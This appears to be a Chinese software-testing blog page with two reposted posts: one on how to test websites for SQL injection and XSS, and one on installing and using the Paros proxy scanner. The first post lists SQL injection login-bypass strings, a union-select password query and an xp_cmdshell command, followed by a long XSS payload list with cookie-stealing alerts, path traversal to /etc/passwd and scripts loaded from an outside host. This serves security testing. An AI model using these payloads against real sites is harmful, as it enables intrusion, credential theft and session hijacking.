发布新日志

  • 安全性测试系列-如何对网站进行安全性测试(转载)

    2010-07-12 12:21:00

     DJANGO的那篇文档中只介绍了网络中常见的安全问题以及如何从程序的角度去防御它们,并未介绍如何针对安全问题进行测试.本章的主要内容是针对上章中提及的安全性问题介绍如何进行安全性测试.

      1.SQL Injection(SQL注入)

      (1)如何进行SQL注入测试?

    • 首先找到带有参数传递的URL页面,如搜索页面,登录页面,提交评论页面等等.
    注1:对于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在<FORM>和</FORM>的标签中间的每一个参数传递都有可能被利用.

    <form. id="form_search" action="/search/" method="get">

    <div>

    <input type="text" name="q" id="search_q" value="" />

    <input name="search" type="image" src="/media/images/site/search_btn.gif" />

    <a href="/search/" class="fl">Gamefinder</a>

    </div>

    </form>

    注2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10
    • 其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--
          注: 根据实际情况 ,SQL注入请求可以使用以下语句

    注1:根据实际情况,SQL注入请求可以使用以下语句:

    ' or 1=1- -

    " or 1=1- -

    or 1=1- -

    ' or 'a'='a

    " or "a"="a

    ') or ('a'='a 
       注2:为什么是OR,以及'――'是特殊的字符呢?

    例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where name='"&name&"' and pwd='"&pwd&"'

    如 输入http://duck/index.asp?username=admin' or 1=1- -SQL语句会变成以下:sql=select * from user where name='admin' or 1='1' and password='11'

    OR是一个逻辑运算符,在判断多个条件的时候,只要一个成立,则等式就成立,后面的AND就不再时行判断了,也就是说我们绕过了密码验证,我们只用用户名就可以登录.

    如 输入http://duck/index.asp?username=admin'--SQL语句会变成以下sql=select * from user where name='admin' --' and pasword='11',

    “--”是忽略或注释,上述通过连接符注释掉后面的密码验证(:ACCESS数据库无效).
    • 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器的相关信息;如果能说明存在SQL安全漏洞.
    • 试想,如果网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操作,这样造成的后果是非常严重的.
      (2)如何预防SQL注入?
    • 替换或删除敏感字符及字符串。

    • 屏蔽出错信息:阻止攻击者知道攻击的结果

    • 在服务端正式处理之前提交数据的合法性进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.

      2.Cross-site scritping(XSS):(跨站点脚本攻击)

    • <!--[if !supportLists]-->首先,找到带有参数传递的URL,如登录页面,搜索页面,提交评论,发表留言页面等等。
    • <!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试:

    '><scrīpt>alert('XSS')</scrīpt>

    • 注:其它的XSS测试语句

      ><scrīpt>alert(document.cookie)</scrīpt>
      ='><scrīpt>alert(document.cookie)</scrīpt>
      <scrīpt>alert(document.cookie)</scrīpt>
      <scrīpt>alert(vulnerable)</scrīpt>
      %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E
      <scrīpt>alert('XSS')</scrīpt>
      <img src="javascrīpt:alert('XSS')">
      %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp
      %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
      %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
      %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
      %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
      %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
      %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html
      %3f.jsp
      %3f.jsp
      &lt;scrīpt&gt;alert('Vulnerable');&lt;/scrīpt&gt
      <scrīpt>alert('Vulnerable')</scrīpt>
      ?sql_debug=1
      a%5c.aspx
      a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>
      a/
      a?<scrīpt>alert('Vulnerable')</scrīpt>
      "><scrīpt>alert('Vulnerable')</scrīpt>
      ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
      %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
      %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
      %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
      1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
      ../../../../../../../../etc/passwd
      ..\..\..\..\..\..\..\..\windows\system.ini
      \..\..\..\..\..\..\..\..\windows\system.ini
      '';!--"<XSS>=&{()}
      <IMG SRC="javascrīpt:alert('XSS');">
      <IMG SRC=javascrīpt:alert('XSS')>
      <IMG SRC=javascrīpt:alert('XSS')>
      <IMG SRC=javascrīpt:alert(&quot;XSS&quot;)>
      <IMG SRC=javascrīpt:alert('XSS')>
      <IMG SRC=javascrīpt:alert('XSS')>
      <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
      <IMG SRC="jav ascrīpt:alert('XSS');">
      <IMG SRC="jav ascrīpt:alert('XSS');">
      <IMG SRC="jav ascrīpt:alert('XSS');">
      "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out
      <IMG SRC=" javascrīpt:alert('XSS');">
      <scrīpt>a=/XSS/alert(a.source)</scrīpt>
      <BODY BACKGROUND="javascrīpt:alert('XSS')">
      <BODY ōNLOAD=alert('XSS')>
      <IMG DYNSRC="javascrīpt:alert('XSS')">
      <IMG LOWSRC="javascrīpt:alert('XSS')">
      <BGSOUND SRC="javascrīpt:alert('XSS');">
      <br size="&{alert('XSS')}">
      <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
      <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">
      <IMG SRC='vbscrīpt:msgbox("XSS")'>
      <IMG SRC="mocha:[code]">
      <IMG SRC="livescrīpt:[code]">
      <META. HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">
      <IFRAME. SRC=javascrīpt:alert('XSS')></IFRAME>
      <FRAMESET><FRAME. SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET>
      <TABLE BACKGROUND="javascrīpt:alert('XSS')">
      <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))">
      <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
      <DIV STYLE="width: expression(alert('XSS'));">
      <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
      <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
      <STYLE. TYPE="text/javascrīpt">alert('XSS');</STYLE>
      <STYLE. TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS></A>
      <STYLE. type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE>
      <BASE HREF="javascrīpt:alert('XSS');//">
      getURL("javascrīpt:alert('XSS')")
      a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d);
      <XML SRC="javascrīpt:alert('XSS');">
      "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><"
      <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt>
      <IMG SRC="javascrīpt:alert('XSS')"
      <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīpt>'"-->
      <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
      <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
      <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
      <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
      <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
      <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
      <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

      最后,验证是否会出现带有“XSS”的弹出框,如果有则说明存在XSS漏洞.
      3.CSRF:(跨站点伪造请求)

      4.Email Header Injection(邮件标头注入)
      5.Directory Traversal(目录遍历)
      6.exposed error messages(错误信息)
  • 安全性测试系列-安全测试工具(PAROS PROXY)[转载]

    2010-07-12 11:57:56

    如果通过手工进行安全性测试效率是非常低的,首先你必须要找到安全性测试的切入点,然后逐一对这些切入点进行检查。但寻找切入点是非常耗时而且对测试人员的安全、编码的知识面要求也非常高,再者即使是找到了安全测试切入点,逐一对这些关键点进行测试也是需要大量的时间的。
    EOX0`"rt4m'n-u"G,b14629为了提高安全测试的效率,我们需要借助一些安全性测试工具。51Testing软件测试网L qpx!_#]%i"_[/S$i.r {
    1.先介绍一个关于安全性测试工具的网站http://sectools.org/web-scanners.htmlhttp://networking.ctocio.com.cn/tips/463/7703463.shtml51Testing软件测试网3dtqQ1_SH
    2.各个安全测试工具的比较大家去看相关文章,在这我们采用的是开源的安全探测工具--Paros proxy51Testing软件测试网 v-qGRUu
    3.以下是关于paros proxy(v3.2.13)介绍
    8m@x"hBVr14629(1)安装 
    • 安装JRE
      • <!--[if !supportLists]--><!--[endif]-->首先确保已安装JRE [Java Run Time Enviroment (JRE) 1.4 (or above) ]
        • 注意:一定要先安装JRE,然后再安装paros proxy,如果先安装paros proxyr后安装JRE,paros proxy将无法启动。
      • 注意:如果找不到JRE,也可以下载相同版本的JDKJDK会带有JRE
    • 配置JRE环境变量:
      • <!--[if !supportLists]--><!--[endif]-->首先,右击我的电脑-属性-高级-环境变量进入环境变量设置对话框。
      • <!--[if !supportLists]-->设置PATH环境变量,在PATH环境变量中输入JRE的安装路径。
        • JRE的安装目录为:c:\JRE.PATH环境变量中加入c:\JRE
        • <!--[if !supportLists]--><!--[endif]-->新建CLASSPATH环境变量,在CLASSPATH环境变量中输入LIB路径。
    • 安装和配置paros proxy应用程序
      • 下载地址:http://sourceforge.net/projects/paros/
      • 安装:
        • 如果下载的是WINDOWS版本,安装比较简单。
        • 如果下载的是UNIX或其它平台的版本,则需要手动将程序解压到一个新的目录,并单击.JAR文件运行程序。
      • 配置:
        • paros需要两个端口:8080和8443,其中8080是代理连接端口,8443是SSL端口,所以必须保证这两个端口并未其它程序所占用。(查看端口命令:打开DOS命令窗口,输入 netstat查看目前使用的端口)
          • 如果在安装完成,启动应用程序时,出现初始化错误,极大的可能就是因为这个端口被其它程序所占用。
            %L Y}\m"o8jWU14629
        • 配置浏览器属性:打开浏览器(如IE),打开工具-选项-连接-LAN设置-选中proxy server,proxyname为:localhost,port为:8080
        • 如果你的计算机运行于防火墙之下,只能通过公司的代理服务器访问网络,你还需要修改PAROS的代理设置,具体的方法是:打开paros-工具-Options-connection,修改"ProxyName" and "ProxyPort"两项为代理服务器的名称和端口.
        • 如果你希望其它的平台可以通过你本地机上的PAROS PROXY来访问WEB SERVER,你需要将本地机上的PAROS PROXY的IP设置为(比如:192.168.0.1)而不是127.0.0.1,因为127.0.0.1只允许本地机使用该应用程序.具体操作方法为:打开paros-工具-options-local proxy,将address51Testing软件测试网)j!u }I.^3T"G!in#{L
    (2)操作步骤
    2p6mFR9\14629
    • 第一步:打开paros proxy,然后在浏览器中打开被测试程序。
    • 第二步--SPIDER:抓取URL。
      • 执行第一步后,系统会自动抓取被测试站点位于URL层次树中第一层的URL(比如一个网站,其首页的URL一般为层次树第一层),并将这些URL显示在左侧的“site”栏中,然后在site栏中选中某一个URL,右击鼠标选取spider命令或单击analyse菜单-spider命令,系统将抓取该 URL层次树中下一层次的URL。
      • 注意:由于paros并不能一些特定的URL路径,比如一些URL链接需要在合法登录后才能被识别出来,因此在进行URL抓取时,一定先要登录网站。
      • 抓取功能不能处理以下情况:
        • 具有非法验证的SSL站点的URL是不能被抓取的。
        • 不支持多线程(也就是说:)
        • 在HTML页中的某些URLS也是不能被识别的。
        • 由javascrīpt生成的URLS也是不能被识别的。
        • 虽然上述这些urls不能被自动抓取,所以我们可以将其手动增加到左侧的“site”栏中,具体的操作方法是:
          • 首先我们要对被测试站点URL的层次树有很好的了解,这样我们才能知道哪个URL抓取了,哪还没有被抓取。
          • 对于未被抓取的URLS,通过打开paros-工具-manual request editor,输入未被抓取的URLS,然后单击SEND按钮,完成手动加入URLS动作,添加成功后的URLS将显示在左侧的“site”栏中。(注:此处存在一个问题,当我输入一个URL后单击发送按钮后,系统总是报错“IO erros is sending request”,查看了一下RESPONSE,结果是我发送的URLS WEB 服务器不能识别,不知道是否对输入的URLS有什么特殊的要求,待定。)51Testing软件测试网#ci%Ac {6yP
    • 第三步--SCANNER:针对“site”栏中的URLS进行扫描,逐一检查对URLS分别进行安全性检查,验证是否存在安全漏洞。
      B~yg2Ifo}J8c14629
      • 如果想扫描"site"栏中所有的URLS,单击anaylse-scan all可以启动全部扫描。
      • 如果只想扫描“site”栏中某一URL,选中该URL,右击鼠标,选取scan命令。
      • SCANNER可以对以下几种情况进行检查:
        • SQL注入
        • 跨站点脚本攻击
        • 目录遍历
        • CRLF-- Carriage-Return Line-Feed 回车换行等。
                注:我们可以通过anylse-scan policy进行安全检查的设置。
    g HA3\W14629
    • 第四步--查看和验证扫描结果:
      • 扫描完成后,单击Report-Last Scan report,可查看当前的扫描报告。
      • 根据扫描报告,对扫描结果进行验证,比如扫描结果中有一是URL传递的参数中存在SQL注入漏洞,我们将该URL及参数输入到地址栏中,验证结果。51Testing软件测试网G'Hf!qVb3ALM
    • 第五步--保存抓取、扫描内容。
      • 保存时应注意:保存的路径不支持特殊字符,比如汉字等,否则会打不开保存后的文件。

Open Toolbar